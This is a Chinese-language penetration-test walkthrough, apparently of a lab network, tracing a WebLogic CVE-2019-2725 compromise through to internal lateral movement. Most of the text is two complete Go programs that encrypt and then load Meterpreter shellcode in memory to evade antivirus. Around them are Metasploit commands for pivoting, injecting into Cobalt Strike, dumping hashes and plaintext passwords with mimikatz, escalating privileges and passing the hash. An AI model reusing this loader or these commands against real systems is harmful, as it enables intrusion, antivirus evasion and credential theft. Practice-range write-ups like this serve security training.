简介 开始时间 : 2024-1-27 20:37
完全渗透 : 2024-1-30 20:37
环境搭建 下次一定记录
信息收集 前提条件是我们已经获取了ip
web 192.168.79.142
那就直接扫描端口
pc主机应该是有防火墙,所以扫描不到(这个后面不作为已知信息)
但是Windwos防火墙防止了ICMP,我们直接no ping 拿下
web渗透 发现142主机有一个web服务
尝试访问
嗯…什么都没有
发现存在445端口,永恒之蓝尝试利用一下
。。。。
都失败
7001是weblogic的端口尝试扫描一下
CVE-2019-2729 ruthlezs/CVE-2019-2729-Exploit: CVE-2019-2729 Exploit Script (github.com)
发现利用失败,但是没有关系
CVE-2019-2725 TopScrew/CVE-2019-2725: CVE-2019-2725命令回显+webshell上传+最新绕过 (github.com)
直接使用java反序列化工具
修改为冰蝎的shell上传成功
上传冰蝎的webshell
成功连接
msf
尝试直接使用msf利用CVE-2019-2725
成功
尝试使用简单的免杀
先生成一个原始的
然后使用下面的脚本进行加密
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 package mainimport ( "bytes" "crypto/aes" "crypto/cipher" "encoding/base64" "fmt" )func CheckError (err error ) { if err != nil { panic (err) } }func PaddingText1 (str []byte , blockSize int ) []byte { paddingCount := blockSize - len (str)%blockSize paddingStr := bytes.Repeat([]byte {byte (paddingCount)}, paddingCount) newPaddingStr := append (str, paddingStr...) return newPaddingStr }func EncyptogAES (src, key []byte ) []byte { block, err := aes.NewCipher(key) if err != nil { fmt.Println(nil ) return nil } src = PaddingText1(src, block.BlockSize()) blockMode := cipher.NewCBCEncrypter(block, key) blockMode.CryptBlocks(src, src) return src }func main () { str := "/EiD5PDozAAAAEFRQVBSUVZIMdJlSItSYEiLUhhIi1IgSA+3SkpIi3JQTTHJSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdBmgXgYCwIPhXIAAACLgIgAAABIhcB0Z0gB0FBEi0AgSQHQi0gY41ZNMclI/8lBizSISAHWSDHArEHByQ1BAcE44HXxTANMJAhFOdF12FhEi0AkSQHQZkGLDEhEi0AcSQHQQYsEiEFYSAHQQVheWVpBWEFZQVpIg+wgQVL/4FhBWVpIixLpS////11JvndzMl8zMgAAQVZJieZIgeygAQAASYnlSbwCACcOwKhPikFUSYnkTInxQbpMdyYH/9VMiepoAQEAAFlBuimAawD/1WoKQV5QUE0xyU0xwEj/wEiJwkj/wEiJwUG66g/f4P/VSInHahBBWEyJ4kiJ+UG6maV0Yf/VhcB0Ckn/znXl6JMAAABIg+wQSIniTTHJagRBWEiJ+UG6AtnIX//Vg/gAflVIg8QgXon2akBBWWgAEAAAQVhIifJIMclBulikU+X/1UiJw0mJx00xyUmJ8EiJ2kiJ+UG6AtnIX//Vg/gAfShYQVdZaABAAABBWGoAWkG6Cy8PMP/VV1lBunVuTWH/1Un/zuk8////SAHDSCnGSIX2dbRB/+dYagBZScfC8LWiVv/V " key := []byte ("PuamRHUGPRzstnCJ" ) src := EncyptogAES([]byte (str), key) base64Str := base64.StdEncoding.EncodeToString(src) fmt.Println("加密后的数据为:" , base64Str) }
然后将加密之后的值放入下面的脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 package mainimport ( "crypto/aes" "crypto/cipher" "encoding/base64" "fmt" "syscall" "unsafe" )var ( kernel32 = syscall.NewLazyDLL("kernel32.dll" ) VirtualAlloc = kernel32.NewProc("VirtualAlloc" ) RtlMoveMemory = kernel32.NewProc("RtlMoveMemory" ) )func brun (ddm string ) { sDec, _ := base64.StdEncoding.DecodeString(ddm) addr, _, _ := VirtualAlloc.Call(0 , uintptr (len (sDec)), 0x1000 |0x2000 , 0x40 ) _, _, _ = RtlMoveMemory.Call(addr, (uintptr )(unsafe.Pointer(&sDec[0 ])), uintptr (len (sDec))) syscall.Syscall(addr, 0 , 0 , 0 , 0 ) }func UnPaddingText1 (str []byte ) []byte { n := len (str) count := int (str[n-1 ]) newPaddingText := str[:n-count] return newPaddingText }func DecrptogAES (src, key []byte ) []byte { block, err := aes.NewCipher(key) if err != nil { fmt.Println(nil ) return nil } blockMode := cipher.NewCBCDecrypter(block, key) blockMode.CryptBlocks(src, src) src = UnPaddingText1(src) return src }func main () { str := "oMtzMR5FbIOMCr8bt0aChEm20/IZjhgp3ELbwsrN75EjSEwisnTuDdr5xhad607G9CUY8oDEbvSeZ4abFEzQ0ZzwTTnqPcDaVhN44m1+1STQFL3SxFNfXn9JXgNTUTA3KoXCzznA5YfhgHBVmjMQncgUexzC+w4zDusjgPQu9qtw63rg9MD+JpWUnvYmFveZAoBPRP1OgfS7V6fJrJ0Z0vvhcnWTqyVwf5Em3Zz12FHZPBd7gYunBZf1T2R6sKcIfz0Dd+9ChKv86byq8T/YA7/qhhvnTmI6Kb/MyEXKf4D75KLrxB69LbnGYvb/xg1jAhckcbUCR7C7AtPRxcc70ZTMM+kax3Qy0ixB149wk/mHhROUAriLNgi8jqoGDZsSOB2uFay5ERCvoU3mAGZBTCZ0yyvzPZm0AO8zFcvudXFrXzNg0Vs7ozhs6qM3XvXIojhM1ebdUZwEU6UK8q/jlPId/wPT72eEoJwOA14v0Zhalvfi71X6DtQIyvSirU+gZtJYNjTUqPMoVriLLJQL73t2DTHeFY1R2DhtDN8cNL5qc0T0sW0uRB0WD8Kj83yl/HX3OXJlS2Xtrr9wryikQCoetRBn9HnGVYD1n29QoWTM4RII7qhNTcRqKTwu1+FZ608K8WTg9QsNCoCCYj7B8WoiZbZTPUuP93SxK77A7F2NFnVZVpN1WUH5PIfvw6An2cRTCGvczEUa9N/nmPox04YzYMKnTK1/vF3nCaVoiM5X02QfIUbzVS6iSr745FDrTrVlN48wJJWeWX5ZSYSDOh7g6RiHqOAGjOL0GIcHKRwF1cHOIjH4cMvxpMKJXnkiYyyHKsPjZtt3dpx6X5inqZRRZzQY8hbeBd1XYO87I3W0B8l9XyJNAOMg6Z+i0UBlByhUX3AUko33rydD2ZdY+Q==" key := []byte ("PuamRHUGPRzstnCJ" ) base_byte, _ := base64.StdEncoding.DecodeString(str) brun(string (DecrptogAES(base_byte, key))) }
经尝试,免杀使用冰蝎执行的时候会被杀,但是是点击执行就不会
开启msf代理,这里先尝试使用stowaway,果然还是不行,只要是使用虚拟终端执行的,貌似都会被查杀
尝试免杀的代理软件都会直接被查杀
那就直接使用msf的代理,也就卡了亿点
1 meterpreter > run autoroute -s 10.10.10.1 /24
1 2 3 4 msf6 exploit(windows/local /payload_inject) > search socks msf6 exploit(windows/local /payload_inject) > use 0 msf6 auxiliary(server /socks_proxy) > show options run
cs 可以尝试冰蝎传给cs(后面发现连接失败)
一开始连接weblogic就炸(黑人)
我使用msf传给cs,熟练一下操作
1 2 3 4 5 6 use exploit/windows/local/payload_injectset payload windows/meterpreter/reverse_httpset DisablePayloadHandler true set lhost IP set lport PORT set session
内网信息收集
查看Web所在的网段
扫描一下存活的主机情况
提取密码+提权
msf
1 2 3 4 5 6 getuid # 获取当前身份 hashdump # 获取hash getsystem # 获取system load kiwi # 加载mimikatz creds_all # 获取明文密码 lsa_dump_sam # 获取sam数据库
cs
看大佬的wp好像提权不了但是我直接提权成功了
收集每一个主机的端口信息
已经控制的Web ip 10.10.10.134
由于前面的信息收集发现存在3389尝试利用(想换一个代理)
由于msf代理扫描端口太慢了,所以尝试能不能使用其他用户直接执行
不敢改
尝试使用域用户登录
基本都是已过期,或者未授权
在有杀软的情况下不能创建新用户
用户收集
msf乱码
尝试创建新用户
在system权限之下
上帝视角看是被阻拦了
杀软信息收集
Windows杀软在线查询 (ddosi.org)
补丁
横向移动 要出现这个必须使用cs的端口扫描才行
计划是先针对双网卡的,先尝试利用还有一个有外网ip的主机
10.10.10.10
445 著名的永恒之蓝
尝试都失败了
3389 还是和上面的一样
hash传递 添加一个smb隧道
10.10.10.201 hash传递 同上
只不过得换一个模式